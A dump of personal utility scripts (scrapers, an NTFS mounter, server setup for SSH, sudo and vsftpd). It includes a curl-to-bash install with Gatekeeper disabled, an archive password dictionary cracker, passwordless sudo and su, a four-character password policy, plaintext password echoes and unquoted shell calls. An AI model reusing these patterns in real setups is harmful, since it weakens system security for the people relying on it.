        Desktop_dir = os.path.join(os.path.expanduser("~"), "Desktop")
        current_dir = os.path.join(Desktop_dir, "no_screen_mark.ini")
        exists = os.path.exists(current_dir)
    
        if exists:
            print("不显示")
        else:
            windows = create_watermark_windows()
            for window in windows:
                window.mainloop()  # 循环显示每个窗口
    
    
    
    ================================================
    FILE: d-ruby/get_chinanews.rb
    ================================================
    require 'httparty'
    require 'nokogiri'
    require 'spreadsheet'
    require 'date'
    
    # 获取当前时间
    now = DateTime.now
    # 将时间格式化为指定的字符串格式
    formatted_time = now.strftime('%Y-%m-%d')
    
    # 获取桌面路径
    desktop_path = File.expand_path("~/Desktop")
    
    # 创建一个Workbook对象,用于Excel的读写
    book = Spreadsheet::Workbook.new
    
    # 添加一个Sheet页,并且指定Sheet名称
    sheet = book.create_worksheet(name: 'Sheet1')
    
    # 定义变量row,用于循环时控制每一行的写入位置
    row = 0
    
    # 添加表头
    sheet.row(row).concat ['栏目', '标题', '时间']
    row += 1
    
    # 遍历页码从1到9页
    (1..9).each do |page_num|
      url = "https://www.chinanews.com.cn/scroll-news/news#{page_num}.html"
    
      # 反爬通用套码
      headers = {
        'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'
      }
    
      response = HTTParty.get(url, headers: headers)
      soup = Nokogiri::HTML(response.body)
    
      # 遍历栏目、标题和时间
      dangdu_lanmu = soup.css('div.dd_lm')
      dangdu_biaoti = soup.css('div.dd_bt')
      dangdu_time = soup.css('div.dd_time')
    
      # 追加具体数据
      dangdu_lanmu.each_with_index do |lanmu, index|
        sheet.row(row).concat [lanmu.content.gsub(/\[|\]/, ''), dangdu_biaoti[index].content, dangdu_time[index].content]
        row += 1
      end
    end
    
    # 拼接保存文件的路径
    file_path = File.join(desktop_path, "chinanews_#{formatted_time}.xls")
    
    # 保存Excel文件
    book.write(file_path)
    
    puts "文件已保存在:#{file_path}"
    
    
    ================================================
    FILE: d-ruby/get_msdesign_wallpapers.rb
    ================================================
    require 'open-uri'
    require 'nokogiri'
    require 'fileutils'
    require 'zip'
    
    # 检查系统是否安装了 aria2c
    if Gem.win_platform?
      unless system("where aria2c")
        abort("请先安装 aria2c 后再运行此脚本!")
      end
    else
      unless system("which aria2c")
        abort("请先安装 aria2c 后再运行此脚本!")
      end
    end
    
    # 下载壁纸函数
    def download_wallpapers()
      base_path = File.join(Dir.home, 'Desktop', 'msdesign-wallpapers') # 壁纸基础路径(不包含主题包名)
      url = 'https://wallpapers.microsoft.design' # 目标网站 URL
      html = URI.open(url).read # 获取 HTML 内容
      doc = Nokogiri::HTML.parse(html) # 解析 HTML 内容
    
      # 筛选指定 title 属性的 a 标签,并输出它们的 href 属性值
      titles = doc.xpath('//a[@title="Download wallpaper package"]')
      count = 0 # 计数器
      puts "\n开始下载:\n"
    
      # titles.first(3).each do |title|
      titles.each do |title|
        download_url = title['href']
        theme_name = File.basename(download_url, '.zip').to_s
        theme_path = File.join(base_path, theme_name) # 拼接主题包完整路径
        unzip_path = File.join(theme_path)
    
        # 创建主题包解压目录
        FileUtils.mkdir_p(unzip_path) unless Dir.exist?(unzip_path) # 若目录不存在则创建
    
        # 下载 ZIP 文件
        puts "正在下载 #{theme_name} ..."
        system("aria2c #{download_url} -d '#{theme_path}'")
    
        # 解压 ZIP 文件
        zipfile_path = Dir.glob(File.join(theme_path, '*.zip')).first # 获取 ZIP 文件路径
        unzip_file(zipfile_path, unzip_path) if zipfile_path # 解压 ZIP 文件
        File.delete(zipfile_path) if zipfile_path # 删除 ZIP 压缩包
    
        count += 1
        puts "已下载 #{count} 个壁纸主题包"
      end
    end
    
    # 解压 ZIP 文件并删除 __MACOSX 目录
    def unzip_file(source, destination)
      Zip::File.open(source) do |zip_file|
        zip_file.each do |f|
          # 计算文件的目标路径
          fpath = File.join(destination, f.name.sub(/^.*\//, ''))
    
          # 跳过 __MACOSX 目录和隐藏文件
          next if f.name =~ /(__MACOSX|.DS_Store)/ || f.directory?
    
          puts "正在解压:#{f.name} 到 #{destination} ..."
          zip_file.extract(f, fpath) unless File.exist?(fpath)
        end
    
        # 删除 __MACOSX 目录
        macosx_dir = File.join(destination, '__MACOSX')
        FileUtils.rm_rf(macosx_dir) if File.exist?(macosx_dir)
      end
    
      puts "#{source} 解压完成!"
    end
    
    # 调用函数示例
    download_wallpapers
    
    
    ================================================
    FILE: d-ruby/nbview.rb
    ================================================
    require 'clipboard'
    
    module NbviewerGenerator
      def self.generate_link
        base_url = "https://nbviewer.org/github"
        print "复制 GitHub ipynb 文件地址到终端,回车即可生成在线查看粘贴链接:"
        github_url = gets.chomp
    
        while !valid_github_url?(github_url)
          print " "
          print "地址格式不正确,请重新输入:"
          github_url = gets.chomp
        end
    
        repo_path = github_url.sub("https://github.com/", "")
        nbviewer_url = "#{base_url}/#{repo_path}"
    
        Clipboard.copy(nbviewer_url)
        puts "转换完成,并已将链接复制到剪贴板,直接在浏览器上粘贴即可。"
      end
    
      private_class_method def self.valid_github_url?(url)
        url =~ %r{^https://github.com/.+}
      end
    end
    
    NbviewerGenerator.generate_link
    
    
    ================================================
    FILE: d-ruby/ntfs_ripper.rb
    ================================================
    def config_u_drive
      system('sudo spctl --master-disable')
    
      unless system('command -v swift >/dev/null')
        system('xcode-select --install')
      end
    
      unless system('command -v brew >/dev/null')
        system('/bin/bash -c "$(curl -fsSL https://gitee.com/ineo6/homebrew-install/raw/master/install.sh)"')
      end
    
      unless File.exist?('/System/Volumes/Data/' + `which ntfs-3g`.strip)
        system('brew tap gromgit/homebrew-fuse && brew install --cask macfuse && brew install ntfs-3g-mac')
      end
    
      ARGV.each do |i|
        once_cut_val = File.dirname(i)
        twice_cut_val = once_cut_val.split('//').last
        thrice_cut_val = File.basename(i)
    
        puts "新设备: #{thrice_cut_val}"
        system("sudo umount #{i}")
        system("/System/Volumes/Data/#{`which ntfs-3g`.strip} /dev/#{twice_cut_val} '/Volumes/#{thrice_cut_val}' -olocal -oallow_other -oauto_xattr -ovolname='#{thrice_cut_val}'")
        puts "新设备: #{thrice_cut_val},已可读写!"
        puts '---------'
        puts ' '
      end
    end
    
    puts ' '
    puts ' '
    puts '等待NTFS新设备接入'
    puts ' '
    puts '---------'
    puts ' '
    
    while true
      sleep 5
      new_dev = `mount | grep ntfs | awk -F ' ' '{print $1}'`.strip
      if new_dev.empty?
        a = 1 # 无意义,过语法检测
      else
        config_u_drive(new_dev)
      end
    end
    
    
    ================================================
    FILE: d-shell/7z_rar_sensei.sh
    ================================================
    # 实验
    ## brew install p7zip > /dev/null 2>&1 运行效率较低,大概有2~3秒不等,if算了
    ## 在Mac上,7z并不支持验证rar压缩包密码;Mac下面的rar,也不支持zip的密码验证。
    ## 网上txt为CRLF的问题,dos2unix搞定。
    ## 密码没找到,没输出,排查问题如下:
    ### $0 用于存储上一个命令的退出状态。当一个命令成功执行时,它的退出状态为 0,否则为非零值。
    ### 直接不在外层初始化flag,容易算数异常,推测是作用域问题。
    
    # 缺什么就安装什么
    [ ! -e $(which rar) ] && brew install rar
    [ ! -e $(which 7z) ] && brew install p7zip
    [ ! -e $(which dos2unix) ] && brew install dos2unix
    
    # 不存在就下载密码本
    if [ ! -f ~/Downloads/rarpasswd.txt ]; then
        curl -o ~/Downloads/rarpasswd.txt https://ghproxy.com/https://raw.githubusercontent.com/hoochanlon/scripts/main/d-txt/rarpasswd.txt
    fi
    
    # 保存密码本为基本路径格式
    # 无法输出用户名 // ,储存变量结果后,再输出 /Users/<用户名> 正常。
    username=$USER
    passwd_txt="/Users/$username/Downloads/rarpasswd.txt"
    # CRLF文本换成LF文本
    dos2unix $passwd_txt >/dev/null 2>&1
    
    # has_passwd_rar="/Users/chanlonhoo/Desktop/BlackFell.zip"
    echo -e "\n"
    read -p "将压缩包文件拖入到终端: " has_passwd_rar
    
    # 打上flag,保存break状态码,固化存储。
    found_passwd_tag_num=0
    
    unrar_passwd_find() {
        # 遍历密码文件中的每一行密码
        while read password; do
            # 尝试使用当前密码解压缩压缩包
            unrar t -p$password "$has_passwd_rar" >/dev/null 2>&1
    
            # 检查解压缩命令的退出码
            if [ $? -eq 0 ]; then
                # 如果退出码为 0,说明密码正确,输出提示信息并退出循环
                echo -e "\n密码是: $password \n"
                # flag
                found_passwd_tag_num=1
                break
            fi
        done <$passwd_txt
        # echo "$?"
    
        if [ $found_passwd_tag_num -ne 1 ]; then
            echo -e "\n没找到正确的密码。\n"
        fi
    
    }
    
    7z_passwd_find() {
        # 遍历密码文件中的每一行密码
        while read password; do
            # 尝试使用当前密码解压缩压缩包
            7z t -p$password "$has_passwd_rar" >/dev/null 2>&1
    
            # 检查解压缩命令的退出码
            if [ $? -eq 0 ]; then
                # 如果退出码为 0,说明密码正确,输出提示信息并退出循环
                echo -e "\n密码是: $password \n"
                # flag
                found_passwd_tag_num=1
                break
            fi
        done <"$passwd_txt"
    
        if [ $found_passwd_tag_num -ne 1 ]; then
            echo -e "\n没找到正确的密码。\n"
        fi
    
    }
    
    # 判断文件名后缀是否包含rar
    if [[ ${has_passwd_rar##*.} == "rar" ]]; then
        unrar_passwd_find
    else
        7z_passwd_find
    fi
    
    
    ================================================
    FILE: d-shell/diy_add_wheel.sh
    ================================================
    echo -e "root用户设置好后,用该脚本,可如PC一样,创建一个带管理员权限的自定义用户 \n"
    echo -e "(⭐︎ 一个具有管理员权限的个性化账户,看起来如Windows PC般丝滑 ⭐︎)\n"
    
    #******************创建wheel组用户*****************
    
    # 接收用户输入流,并创建wheel组用户
    read -p "请输入用户名:" user_name && useradd -g wheel $user_name
    
    echo -e "$user_name 用户创建已完成 \n"
    
    echo -e "◉ 注:显示明文,方便密码核对后确认 \n"
    
    # -s: 隐藏输入的数据,适用于机密信息的输入
    read -p "请输入密码:" pass_word 
    
    # 将 P@ssw0rd 密码传递至passwd的标准输入(stdin)
    echo $pass_word | passwd --stdin $user_name
    
    # **************开启wheel组功能**************
    
    # 授权读写,并开启wheel的免密sudo
    chmod u+w /etc/sudoers && sed -i 's/# %wheel/%wheel/g' /etc/sudoers
    
    # 灵感来自腾讯云lighthouse配置。他这么配,我也这么配好了。
    echo "$user_name ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
    
    # 关闭授权
    chmod u-w /etc/sudoers 
    
    # 最后让wheel组的成员,切换sudo也全都免密。
    # 替换 #a成a(懒人做法),centos 默认是注释,关闭着的。
    sed -i 's/#a/a/g' /etc/pam.d/su
    
    #**********************其他关键性操作*******************
    
    # 拷贝公钥认证到wheel用户目录,没有就算啦。抛个异常,不显示,完事。
    cp -p ~/.ssh/authorized_keys /home/$user_name/.ssh/authorized_keys > /dev/null 2>&1
    
    # 替换掉PermitRootLogin yes,关闭root远程登录 (但没设定 PermitRootLogin yes,就没什么效果)
    # sudo sed -i 's/^PermitRootLogin yes/PermitRootLogin no/g' /etc/ssh/sshd_config
    
    # 所以还是删除,再追加 PermitRootLogin no 吧。
    sed -i '/^PermitRootLogin/d' /etc/ssh/sshd_config
    echo "PermitRootLogin no" >> /etc/ssh/sshd_config
    
    # sshd.service 重载
    systemctl reload sshd.service
    
    echo -e "\n root SSH登录已关闭(PermitRootLogin no),所有配置均匀完成。"
    echo -e "重新再SSH登录即生效, 现可使用 $user_name SSH登录Linux \n"
    
    #********************参考部分***************************
    
    # 字符串处理参考:
    # [csdn-sed -i 命令详解](https://blog.csdn.net/qq_42767455/article/details/104180726)
    
    # wheel 组管理参考
    # [csdn-Linux学习笔记之CentOS7的 wheel组](https://blog.csdn.net/kfepiza/article/details/124701762)
    # [51cto-Linux Shell脚本专栏_批量创建100用户并设置密码脚本_03](https://blog.51cto.com/gblfy/5652817#_38)
    
    # shell接收输入参数
    # [csdn-Linux Shell接收键盘输入](https://blog.csdn.net/u013541325/article/details/126049060)
    
    #*******************************************************
    
    # 本地调试代码
    # scp ~/Desktop/diy_add_wheel.sh root@10x.xxx.xxx.xx5:$HOMEPATH
    
    # 删除自身
    rm -rf $0
    
    
    ================================================
    FILE: d-shell/lite_ssh_n_ban.sh
    ================================================
    echo -e "置顶:执行脚本需要使用 sudo bash 指令"
    
    # 备份ssh服务端、客户端配置文件到ssh.bak目录
    mkdir -p /etc/bak/ssh && cp -p /etc/ssh/{ssh_config,sshd_config} /etc/bak/ssh
    
    # netstat -t查询连接情况,awk抓取第五列信息,过滤掉端口含字母的。获得正确的IP池。
    # 再从IP池中cut掉":"端口,取第二行数据提纯,获得了连接服务器上的IP。
    # get_my_ip=$(netstat -t|awk '{print $5}'|grep -v -E '[a-zA-Z]'|cut -d":" -f1|sed -n '1p')
    # get_my_ip=$(netstat -t|awk '{print $5}'|grep -v -E '[a-zA-Z]|^10|^169|^172|^192'|cut -d":" -f1|sed -n '1p')
    
    # 筛选方式优化,选有:22就行了。
    # 这获取IP的方式,有被混淆的风险,毕竟有ssh插队的风险,注释掉
    # get_my_ip=$(netstat -n|grep -i :22|awk '{print $5}'|cut -d":" -f1|sed -n '1p')
    # get_my_ip_port=$(netstat -n|grep -i :22|awk '{print $5}'|sed -n '1p')
    get_my_ip=$(who|awk '{print $5}'| cut -d '(' -f2 | cut -d ')' -f1|sed -n '1p')
    
    # 编辑、修改配置权限、重启服务生效
    echo -e \
    "
    PubkeyAuthentication yes # 是否允许Public Key
    PermitRootLogin yes # 是否允许Root登录
    PasswordAuthentication no # 设置是否使用口令验证
    ClientAliveInterval 30 # 客户端每隔多少秒向服务发送一个心跳数据,类似web响应。
    ClientAliveCountMax 86400  # 客户端多少秒没有相应,服务器自动断掉连接 
    # AllowUsers *@$get_my_ip *@127.0.0.1 # 刚登录上就立马切代理容易中断SSH连接。
    " \
    >>/etc/ssh/sshd_config
    
    # 该授权的授权,>/dev/null 2>&1 屏蔽报错,有不明白的查找注释的参考资料。
    chmod 700 $HOME && chmod 700 ~/.ssh 
    touch ~/.ssh/authorized_keys && chmod 600 ~/.ssh/authorized_keys >/dev/null 2>&1
    systemctl restart sshd.service
    
    
    #---------------账户密码简化要求-----------------------
    
    # 备份文件
    mkdir -p /etc/bak/pam.d/ && cp -p /etc/pam.d/system-auth  /etc/bak/pam.d/
    # 可行,但会有Linux系统的无效至少8位字符;pam.d/system-auth优先级远高于login.defs
    # 一个是配置系统模块的,另一个只是辅助性质的账号登录策略,两者相差很大
    
    echo -e "
    # 新增自定义密码策略配置 密码验证三次 不限特殊字符、大小写、最低3位长度
    password\trequisite\tpam_pwquality.so\ttry_first_pass local_users_only retry=3
    password\trequisite\tpam_pwquality.so\tauthtok_type= minlen=4 
    password\trequisite\tpam_pwquality.so dcredit=0 ocredit=0 lcredit=0 ucredit=0
    " >>/etc/pam.d/system-auth
    
    #******************安装及配置fail2ban*****************************
    
    echo -e "安装fail2ban以及各项依赖"
    yum install epel-release -y && yum update -y
    yum install fail2ban-firewalld fail2ban-systemd -y 
    yum -y install git python3
    
    # 备份原始文件
    mkdir -p /etc/bak/fail2ban_conf/ && cp -p /etc/fail2ban/jail.conf /etc/bak/fail2ban_conf/
    
    echo -e \
    "
    [DEFAULT]
    ignoreip = 127.0.0.1 $get_my_ip
    maxretry = 3 
    findtime  = 10 
    bantime = -1
    
    [ssh-iptables] 
    enabled = true
    filter = sshd
    action = iptables[name=SSH, port=22, protocol=tcp] 
    logpath  = /var/log/secure
    " > /etc/fail2ban/jail.local
    
    
    echo -e "加入守护进程,已设定自启,fail2ban现已启动 \n"
    systemctl enable fail2ban.service && systemctl start fail2ban.service
    
    echo -e "-----------------服务端整体配置--------------------\n"
    echo -e "\nSSH服务端密钥、登录策略、心跳响应,以及限制IP范围"
    echo -e "简化用户密码规则:任意大小写/符号/纯数字,并可设4位长度"
    echo -e "fail2ban: 除自己IP($get_my_ip)不限外;其他IP访问,3次密码错误,直接封永久。\n"
    echo -e "至此,SSH服务端(Linux)的所有设置,均已圆满完成。\n"
    
    #************所有设置完成,开始啰嗦的ECHO*********************
    
    echo -e "****点对点配置项简说*****"
    echo -e "服务端SSH各项配置:vi /etc/ssh/sshd_config"
    echo -e "服务端密码策略各项配置:vi /etc/pam.d/system-auth"
    echo -e "查看ban IP后续可使用:fail2ban-client status ssh-iptables"
    echo -e "解禁ban IP:fail2ban-client set ssh-iptables unbanip xxx.xxx.xxx.xxx \n"
    
    echo -e '客户端生成密钥: ssh-keygen -t ed25519 -C "your@email.com"'
    echo -e "复制公钥到服务端: ssh-copy-id -i ~/.ssh/id_ed25519.pub user@server"
    echo -e "客户端故障检查: rm -rf ~/.ssh/known_hosts ~/.ssh/known_hosts.old && cat ~/.ssh/ssh_config \n"
    
    echo -e "------ban|key| password----\n"
    echo -e "ban ip的优先级是最高的,有密钥、密码也不行"
    echo -e "配置了密钥,没授权许可,就算有密码,也登不上。"
    echo -e "大部分Linux被黑,多是密码简单,没配一对一密钥,以及部署服务程序上的提权与反弹相关的漏洞"
    echo -e "最为重要的一点限定IP与BAN IP的核心策略设置。"
    
    rm -rf $0
    
    
    ================================================
    FILE: d-shell/lite_vsftpd.sh
    ================================================
    # ********** 核心的五篇文档,csdn博主整理思绪排版较为清晰易读。************
    ## [cnblogs-Linux搭建FTP服务器](https://www.cnblogs.com/Caiyundo/p/9979442.html)
    ## [csdn-Linux中ftp服务的安装与配置](https://blog.csdn.net/qq_36205206/article/details/125808803)
    ## [csdn-腾讯云Linux 轻量应用服务器如何搭建 FTP 服务?](https://blog.csdn.net/zdc1228/article/details/128428207)
    ## [csdn-腾讯云服务器FTP连接不上](https://blog.csdn.net/qq_40787608/article/details/123411675)
    ## [腾讯云-Linux 轻量应用服务器搭建 FTP 服务](https://cloud.tencent.com/document/product/1207/47638)
    ## [zhihu-vsftp新建用户无法登录?](https://www.zhihu.com/question/268255821/answer/622810196?utm_id=0)
    ##
    ## 往后可以用这款了,配置web云盘分享:https://github.com/zfile-dev/zfile
    ## 共享文件格式NFS、SMB、FTP、WebDAV 各有何优势:https://blog.csdn.net/hdxx2022/article/details/127490158
    #*******************************************************************
    
    #********* 腾讯云文档提醒解读***************************
    #
    # FTP 可通过主动模式和被动模式与客户端机器进行连接并传输数据。
    # 由于大多数客户端机器的防火墙设置及无法获取真实 IP 等原因,建议您选择被动模式搭建 FTP 服务。
    # 如下修改以设置被动模式为例,您如需选择主动模式,请前往 设置 FTP 主动模式。
    #
    # 主动模式和被动模式的不同简单概述为: 
    # 主动模式传送数据时是“服务器”连接到“客户端”的端口(客户端开启数据端口);
    # 被动模式传送数据是“客户端”连接到“服务器”的端口(服务端开启数据端口)。
    # [csdn-FTP的主动模式和被动模式](https://blog.csdn.net/weixin_42039228/article/details/124338444)
    #****************************************************
    
    
    #-----------下载安装,专属用户创建与限定目录------------
    
    # 添加用户,普通用户是没有权限登录SSH的,需要额外授权,不要紧。
    # 完善起见,已 usermod -s /sbin/nologin ftpuser 
    
    yum install -y vsftpd
    yum install lsof -y
    sudo systemctl enable vsftpd
    # 启动成功,默认开启匿名访问,但无权限修改或上传。
    # 需提前打开否则在后面配置会报错。
    sudo systemctl start vsftpd
    
    sudo groupadd ftpusers
    # 接收用户输入流,并创建ftpusers组用户
    read -p "请输入创建FTP共享的用户名:" user_name && sudo useradd -g ftpusers $user_name
    
    echo -e "$user_name 用户创建已完成 \n"
    
    echo "⚠️  注意:Linux初始密码规则,创建密码需要符合大小写及特殊字符等各项要求 ‼️"
    echo -e "若已配置密码策略,可无视上面这条提示信息。"
    echo -e "◉ 注:显示明文,方便密码核对后确认 \n"
    
    # -s: 隐藏输入的数据,适用于机密信息的输入
    read -p "请输入密码:" pass_word 
    
    # 将 P@ssw0rd 密码传递至passwd的标准输入(stdin)
    echo $pass_word | passwd --stdin $user_name
    
    # 限制登录终端
    sudo usermod -s /sbin/nologin $user_name
    
    # 创建FTP共享的特定目录
    sudo sudo mkdir /var/ftp/share
    echo "hello world " > /var/ftp/share/test.txt
    # 授权 -R 递归;属主名:属组名 
    sudo chown -R ftpuser:ftpusers /var/ftp/share
    
    #----------备份vsftpd.conf文件,与获取本机公网IP----------
    
    # 这里配置修改以被动模式为例。
    # 修改:查找与替换。先sed不加参数匹配试试水,配置完加个中文注释,方便理解。
    # 源目录文件备份 vsftpd.conf.bak
    cp -rp /etc/vsftpd/vsftpd.conf{,.bak}
    
    # 获取Linux的本机公网IP
    # 详情:https://blog.csdn.net/doris_9800/article/details/104620510
    linux_public_ip=$(curl -s http://ip.tool.chinaz.com/ |grep 'class="fz24"' | awk -F '>|<' '{print$3}')
    
    
    # 这获取IP的方式,有被混淆的风险,毕竟有ssh插队的风险,注释掉
    # get_my_ip=$(netstat -n|grep -i :22|awk '{print $5}'|cut -d":" -f1|sed -n '1p')
    
    # 新的获取IP方式,获取Windows或Mac电脑的IP 客户端
    get_my_ip=$(who|awk '{print $5}'| cut -d '(' -f2 | cut -d ')' -f1|sed -n '1p')
    
    
    # cut
    # -d 表示需要需要使用自定义切割符
    # -f2 表示对切割后的几块内容选择第2部分输出
    # -f1 表示对切割后的几块内容选择第1部分输出
    
    #------------------------------------------------------
    
    
    #************************说明性文档***************************************
    #
    # local_enable=YES         #支持本地用户登录
    # chroot_local_user=YES    #全部用户被限制在主目录
    # chroot_list_enable=YES   #启用例外用户名单
    # chroot_list_file=/etc/vsftpd/chroot_list  #指定用户列表文件,该列表中的用户不被锁定在主目录
    #
    #*********************************************************************
    
    
    #-----------配置用户基本策略:禁匿名、将访问限制在规定目录、ipv4----------
    
    # 在12行全局换成anonymous_enable=NO
    sed -i '12canonymous_enable=NO' /etc/vsftpd/vsftpd.conf
    
    
    ## 100、101、103行去掉注释,配置chroot如上各项。
    sed -i '100,101s/^#//' /etc/vsftpd/vsftpd.conf
    sed -i '103s/^#//' /etc/vsftpd/vsftpd.conf
    
    # 将Listen=NO换成Listen=YES
    sed -i 's/listen=NO/listen=YES/' /etc/vsftpd/vsftpd.conf
    
    # 在123行首追加注释,即关闭IPv6 sockets
    sed -i '123s/^/# /' /etc/vsftpd/vsftpd.conf
    
    # 在52行首取消注释,打开日志记录
    sed -i '52s/^#//' /etc/vsftpd/vsftpd.conf
    
    # 开启被动模式 pasv_enable=YES
    # pasv连接模式时的最小端口、最大连接端口
    # 这里只要把最小端口号和最大端口号配置成一样的,就成了开放固定端口了
    # allow_writeable_chroot=YES 在限制目录下可写入
    echo -e "
    local_root=/var/ftp/share
    allow_writeable_chroot=YES
    pasv_enable=YES
    pasv_address=$linux_public_ip
    pasv_min_port=21000
    pasv_max_port=21000
    " >> /etc/vsftpd/vsftpd.conf
    
    # 创建文件,否则会即使有用户也登录不上,不需要其他权限,ftpuser不访问这个文件
    # 推测程序编写的逻辑是靠这一“小文件”来对策略进行决策的,配置开启了这功能,然后又没有文件自然乱套了。(编码人员没想那么多吧,可能不想管...)
    touch /etc/vsftpd/chroot_list
    ## chroot_list_file=/etc/vsftpd/chroot_list 打开限制名单文件配置
    
    
    # 注释第4行 auth required pam_shells.so 模块认证。
    sudo sed -i '4s/^/#/' /etc/pam.d/vsftpd
    
    
    #------pam_access.so是模块,会调用到配置文件/etc/security/access.conf------
    # [csdn-实战vsftp针对用户和IP访问控制](https://blog.csdn.net/weixin_58400622/article/details/126438957)
    
    # /etc/pam.d/vsftpd (模块配置文件)
    ## 备份/etc/pam.d/vsftpd
    cp -rp /etc/pam.d/vsftpd{,.bak}
    # 在第7行前插入模块
    sudo sed -i '7i\account    required     pam_access.so' /etc/pam.d/vsftpd
    
    # access.conf
    ## 备份access.conf文件
    cp -rp /etc/security/access.conf{,.bak}
    ## 将最后一个规则定义为全部拒绝,表示只有自己允许的例外条件
    echo  -e "
    +:ftpusers:$get_my_ip
    -:ALL:ALL
    
    " >> /etc/security/access.conf
    
    #---------------------------------------------------
    
    
    
    # 启动ftp服务。
    sudo systemctl restart vsftpd
    
    echo -e "***调试专用代码***"
    echo 'scp /Users/chanlonhoo/Desktop/1.sh root@101.xxx.xxx.xxx:${HOMEPATH}'
    echo -e "rm -rf ~/.ssh/known_hosts && rm -rf ~/.ssh/known_hosts.old"
    echo -e "查看所有用户信息:cat /etc/passwd"
    echo -e "新建用户,添加FTP共享组:useradd -G ftpusers <用户名称>"
    echo -e "已有用户,添加FTP共享组:usermod -a -G ftpusers <用户名称>"
    echo -e "***************** \n"
    
    echo -e "\n ****************FTP基本说明与概况******************** \n"
    echo -e "FTP专属用户已创建完成:$user_name ;密码:$pass_word"
    echo -e "FTP共享目录位置:cat /var/ftp/share"
    echo -e "重要 ‼️ :注意在阿里云安全组,或腾讯云服务器防火墙,放行21000端口。"
    
    echo -e "\n至此,FTP搭建已完成,下面是FTP相关配置简览"
    echo -e "查看FTP历史访问记录:/var/log/xferlog"
    echo -e "核心配置文件:vi /etc/vsftpd/vsftpd.conf"
    echo -e "FTP限制用户及IP访问文件:vi /etc/security/access.conf\n"
    echo -e "Windows可以用文件管理器访问,就可以上传下载了。"
    echo -e "Mac推荐使用Cyberduck、FileZilla、ForkLift访问,自带访达对FTP功能支持不完善。\n"
    
    # 删除自身
    rm -rf $0
    
    
    # 可能该项说明对初次上手的用户是干扰
    # echo -e "用户访问其他目录限制配置文件:/etc/vsftpd/chroot_list"
    # echo -e "具体操作方法为:填写想要随意访问路径的用户名,一个用户名,占据一行。\n"
    
    
    #*********参考***********************
    
    ## ftp
    ### [csdn-linux如何查看端口是否开放](https://blog.csdn.net/blueheartstone/article/details/127045442)
    ### [csdn-shell if else 语句 写成一行](https://blog.csdn.net/qq_29060627/article/details/126471917)
    ### [cnblogs-Linux搭建FTP服务器](https://www.cnblogs.com/Caiyundo/p/9979442.html)
    ### [csdn-Linux中ftp服务的安装与配置](https://blog.csdn.net/qq_36205206/article/details/125808803)
    ### [csdn-FTP被动模式服务器端开有限的端口](https://blog.csdn.net/chipiqiao3947/article/details/100857760)
    ### [zhihu-vsftpd超实用技巧详解(二)-限制用户逃出家目录](https://zhuanlan.zhihu.com/p/77325423)
    
    ## python http server
    ### [【SimpleHTTPServer】Linux/上使用 python -m SimpleHTTPServer 快速搭建http服务](https://blog.csdn.net/michaelwoshi/article/details/102991018)
    ### [csdn-python3 报错 No module named SimpleHTTPServer](https://blog.csdn.net/hotpotbo/article/details/88227301)
    ### [知晓号-linux开端口命令(服务器开启端口命令)](https://www.dkper.com/27137.html)
    
    ## smb
    ### [cnblogs-Windows10 SMB 445端口 公网映射问题的解决方法](https://www.cnblogs.com/Ridiculer/p/15333284.html)
    ### [csdn-Linux之SAMBA服务——SMB协议](https://blog.csdn.net/qq_46839776/article/details/119939755)
    ### [cnblogs-Windows10 SMB 445端口 公网映射问题的解决方法](https://www.cnblogs.com/Ridiculer/p/15333284.html)
    
    ## 字符串处理
    #### [51cto-sed插入行](https://blog.51cto.com/u_4296776/5369128)
    #### [csdn-vim配置高亮显示](https://blog.csdn.net/heimao0307/article/details/79757274)
    #### [linux 的curl grep awk 联合查询----小练习](https://blog.csdn.net/doris_9800/article/details/104620510)
    
    #****************插曲***********************************
    
    ## [灰信网-VSFTPD 启动异常 (CODE=EXITED, STATUS=2)](https://www.freesion.com/article/6269698160/),忘记sed 加 -i 了...
    ## 组创建失败也会出现登录异常,服务器上不存在该共享。请检查该共享的名称,然后再试一次
    ## [csdn-Linux系统用户添加到用户组](https://blog.csdn.net/shenyunsese/article/details/124449334)
    ## [csdn-usermod命令的 -s使用方法](https://blog.csdn.net/qq_42276808/article/details/104145927)
    
    
    ## Linux查看用户所属组 groups ftpuser 创建组:groupadd ftpusers 
    ## 新建用户并将其加入指定用户组,作为其主用户组(每个用户有且只有一个主用户组)
    ## 新建用户,并关联组
    ## useradd -g <用户组名称> <用户名称>
    ## 或者 新建用户并将其加入指定附属用户组,附属用户组可以有多个,多个附属组名称用逗号分隔即可
    ## useradd -G <用户组名称> <用户名称>
    ## 已有用户
    ## -a 代表append,和 -G 一起使用,将用户添加到新用户组中而不必离开原有的其他用户组
    ## usermod -a -G <用户组名称> <用户名称>
    
    ## 谷歌云,默认开启selinux的。国内机器,默认关闭内部的防火墙。
    ## 如果您服务器内部启用了防火墙,那是要两边一起做策略的。
    ## 腾讯默认是放开端口的,除非额外限制,目前的策略来看。
    
    # 来自 [csdn-关闭防火墙是否就默认所有端口打开](https://blog.csdn.net/weixin_39166924/article/details/98754038)
    # 默认的应该是不防护已开放端口了,端口是否打开的根本是取决于你开的服务或者是应用,
    # 这些才会去打开原本没有打开的端口,防火墙只不过在开启的时候会对这些端口做防护而已,并不是防火墙开的这些端口。
    # 比如80端口,你只有做了web应用,如iis等服务器上才会打开80端口,这时候防火墙可能会保护80端口,
    # 使外面的用户无法访问,但关闭了防火墙,防护取消就可以正常访问了,所以防火墙并不是打开80的根本
    
    
    ================================================
    FILE: d-shell/low_scan_for_winrar.sh
    ================================================
    
    
    ymd_start="20230220"
    ymd_end="20230223"
    # 最新版是6.21,根据命名规则621
    rar_v_num=621
    
    while [ "$ymd_start" != "$ymd_end" ]
    do
    
    let ymd_start=`date -d "-1 days ago ${ymd_start}" +%Y%m%d`
    
    # 网速不太好的情况下,可以选择超时15秒左右。请求返回头信息 http 200即ok
    curl -I -m15 "https://www.win-rar.com/fileadmin/winrar-versions/sc/sc$ymd_start/rrlb/winrar-x64-"$rar_v_num"sc.exe" | head -n 1
    
    # echo -e "\n $ymd_start , $sc_num_start \n"
    
    done
    
    echo "https://www.win-rar.com/fileadmin/winrar-versions/sc/sc$ymd_start/rrlb/winrar-x64-"$rar_v_num"sc.exe"
    
    # 调试代码
    # curl -I -m2 "https://www.win-rar.com/fileadmin/winrar-versions/sc/sc20230223/rrlb/winrar-x64-621sc.exe" | head -n 1
    
    # 参考 
    # * [http状态码204/206/200/302/303/307](https://blog.csdn.net/weixin_33795743/article/details/85895683)
